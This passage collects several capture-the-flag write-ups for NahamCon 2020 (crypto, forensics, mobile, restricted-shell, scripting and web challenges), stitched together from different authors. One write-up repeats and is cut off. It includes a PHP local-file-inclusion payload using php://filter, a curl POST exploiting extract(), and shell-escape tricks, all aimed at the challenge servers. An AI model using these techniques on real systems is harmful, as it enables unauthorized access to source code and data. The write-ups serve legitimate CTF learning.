(preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:
**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:
it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:
## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:
this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:
**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:
so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:
after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:
and the file contains our flag:
## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:
## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:
## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...
...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:
## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:
seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):
## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:
I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:
## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:
It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:
actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:
so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:
```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:
burp suite catches the request and allows us to edit it:
we now only need to add an emergency variable and we get the flag:
with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:
**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
# Nahamcon-ctf-writeupsThe write-ups for Nahamcon-ctf :: Power of grepAs most write-ups are already there, this write-up only has chals that can be solved via grep._Also this is the first time I am doing write-ups so let see how it goes.._
### Challenges
- #### Warm up challenges ___ #### Clisays 
##### Solution  1. Figuring out the type of file using file command, it is an ELF binary 2. `Strings clisays | grep-i "flag{"` checks whether the binary has hardcoded string like flag, seems it has one, but we were unable to find full flag 3. `Strings clisays | grep-i "flag{" -A 10` this prints the next 10 lines after the matched string and we got out flag > flag{Y0u_c4n_r3Ad_M1nd5} ___ #### MetaMene 
##### Solution  1. Figuring out the type of file using file command, it is an JPEG file 2. `Strings hackerman.jpeg | grep-i "flag{.*}"` okay so this command looks for regular expression `flag{.*}` in the strings from png image and seems like we got our flag 3. This challenge was actually about metadata so propersol would be `exiftool hackerman.png`, but it's a ctf and this write-up is about power of grep. > flag{N0t_7h3_4cTuaL_Cr3At0r} ---
- #### Forensics challenges ___ #### Microsooft 
##### Solution   1. Figuring out the type of file using file command. 2. `binwalk -e microsooft.docx"` extracts the data(sub files) from the file. 3. Navigate into the extracted folder. 4. `grep -r -i "flag{.*} .` recursively checks all file in the present directory for the flag. > flag{oof_is_right_why_gfxdata_though} ___ #### Cowpie 
##### Solution  1. Figuring out the type of file using file command. 2. `strings manure | grep -i "flag{.*}` woaw pretty easy right. 3. Alright so it was an unintended way to solve the challenge, but the reason I am showing this way of doing it shows, even ctf creators who are concerned about chal sometimes leave some hard-coded values, now just think about what you can find in real world ;) > flag{this_flag_says_mooo_what_say_you} ___
- #### Mobile challenges ___ #### Candroid 
##### Solution   1. `apktool d candroid.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Again the challenge was about analysing the apk but if you know grep, and little apk reversing tricks you can use the above grep trick for much more, check out the apk reversing room on THM for more > flag{4ndr0id_1s_3asy} ___ #### Simple App 
##### Solution   1. `apktool d simple-app.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Similar to previous chal.. huh, nope, this time the hardcoded string was in smali, that is _like_ the assembly language for android. > flag{3asY_4ndr0id_r3vers1ng}
> Even the third Mobile chal flags can be find this way but it would be encrypted so you would have to actually jadx-gui or dex2jar+jd-gui to rev engineer the app to figure out the how to decrypt the flag. ___
- #### Miscellaneous challenges ___ #### Vortex 
##### Solution  1. A classic Grep challenge 2. `nc jh2i.com 50017 | strings | grep -i "flag{.*}"` greps the flag from input stream after extracting the strings, took me around 10-15 sec to get the flag. > flag{more_text_in_the_vortex} ___ #### Fake File 
##### Solution  1. Connected to the server, tried to cat the file but as the file name is equal to `..` it results in an error, that bash thinks it is a directory. 2. Ah haan so i can't cat it, guess i will just grep what i need `grep -r -i "flag{.*}" .` 3. Yet again, it is just the checky way to get the flag, remember this whole walkthrough is about power of grep in ctfs. 4. Also check this write-up, how smarty Emile used grep to dump all flags from hard disk, but he reported it _Thanks to him for not ruining the CTF for everyone_. <3 https://tildeho.me/leaking-all-flags-in-a-ctf/ > flag{we_should_have_been_worried_about_u2k_not_y2k} ___
#### Summary
These write-ups were all about the power of grep, and it is not the intentional way to get flag in ctfs as the main purpose of CTF's is to learn but, hey we are h4ck0rs, right ;) `grep` in the hands of 1337 is one of the most powerfull command ever.
> grep -r -i "flag{.*}" .
Thanks for reading.. . .
But hey, here is a bonus section of OSINT chals ;)
- #### OSINT challenges ___ #### Time Keeper 
##### Solution 1. Opening the original wepage, checked the source code, there was a username there which lead to a twitter account but that was a rabit hole.  2. As the challege said Time-Keeper it was a indirect hint that we need to use wayback machine  3. Opening the snapshot of 13th April we get a webpage which give us hint were the flag is.. . .  4. Changing the URL to `https://apporima.com/flag.txt` for that snapshot  5. Flag... . .  > JCTF{the_wayback_machine} ___ #### New Year Resolution 
##### Solution  1. Using `nslookup` 2. set type=ANY, it will check any/all details. 3. Flag... . . > flag{next_year_i_wont_use_spf} ___ #### Finsta 
##### Solution  1. Challenge Name is the biggest hint, Insta.. 2. searching the username on Instagram.. 3. Flag... . . > flag{i_feel_like_that_was_too_easy} You guys know what event that fake account has more followers than i do :( lol.. ___ #### Tron 
##### Solution 1. Being honest this chal took me a lot of time to figure out as i was thinking it is about shodan.. .  2. Thanks for the Nudge CuddleDeath 3. well, Cuddle asked where else can i find this user... O.o 4. Used sherlock, found username Nahamcontron on github, and one of the repo commits had an ssh key. 
5. Used the ssh key and got the flag <3 > flag{nahamcontron_is_on_the_grid} ___
#### Thanks for reading <3#### by team - ChadSec |
On the website we don't find the flag, but regarding the Challange descption, it should have been there in the past. So we use the [wayback machine](https://archive.org/web/) to look at a saved state of this website and we discover one savepoint from April 18, 2020. Using that we find the blogpost "Challenge Accepted!" which didn't appear before which contains the link to the flag:[https://web.archive.org/web/20200418213402/https://apporima.com/flag.txt](https://web.archive.org/web/20200418213402/https://apporima.com/flag.txt)
JCTF{the_wayback_machine} |
# Nahamcon-ctf-writeupsThe write-ups for Nahamcon-ctf :: Power of grepAs most write-ups are already there, this write-up only has chals that can be solved via grep._Also this is the first time I am doing write-ups so let see how it goes.._
### Challenges
- #### Warm up challenges ___ #### Clisays 
##### Solution  1. Figuring out the type of file using file command, it is an ELF binary 2. `Strings clisays | grep-i "flag{"` checks whether the binary has hardcoded string like flag, seems it has one, but we were unable to find full flag 3. `Strings clisays | grep-i "flag{" -A 10` this prints the next 10 lines after the matched string and we got out flag > flag{Y0u_c4n_r3Ad_M1nd5} ___ #### MetaMene 
##### Solution  1. Figuring out the type of file using file command, it is an JPEG file 2. `Strings hackerman.jpeg | grep-i "flag{.*}"` okay so this command looks for regular expression `flag{.*}` in the strings from png image and seems like we got our flag 3. This challenge was actually about metadata so propersol would be `exiftool hackerman.png`, but it's a ctf and this write-up is about power of grep. > flag{N0t_7h3_4cTuaL_Cr3At0r} ---
- #### Forensics challenges ___ #### Microsooft 
##### Solution   1. Figuring out the type of file using file command. 2. `binwalk -e microsooft.docx"` extracts the data(sub files) from the file. 3. Navigate into the extracted folder. 4. `grep -r -i "flag{.*} .` recursively checks all file in the present directory for the flag. > flag{oof_is_right_why_gfxdata_though} ___ #### Cowpie 
##### Solution  1. Figuring out the type of file using file command. 2. `strings manure | grep -i "flag{.*}` woaw pretty easy right. 3. Alright so it was an unintended way to solve the challenge, but the reason I am showing this way of doing it shows, even ctf creators who are concerned about chal sometimes leave some hard-coded values, now just think about what you can find in real world ;) > flag{this_flag_says_mooo_what_say_you} ___
- #### Mobile challenges ___ #### Candroid 
##### Solution   1. `apktool d candroid.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Again the challenge was about analysing the apk but if you know grep, and little apk reversing tricks you can use the above grep trick for much more, check out the apk reversing room on THM for more > flag{4ndr0id_1s_3asy} ___ #### Simple App 
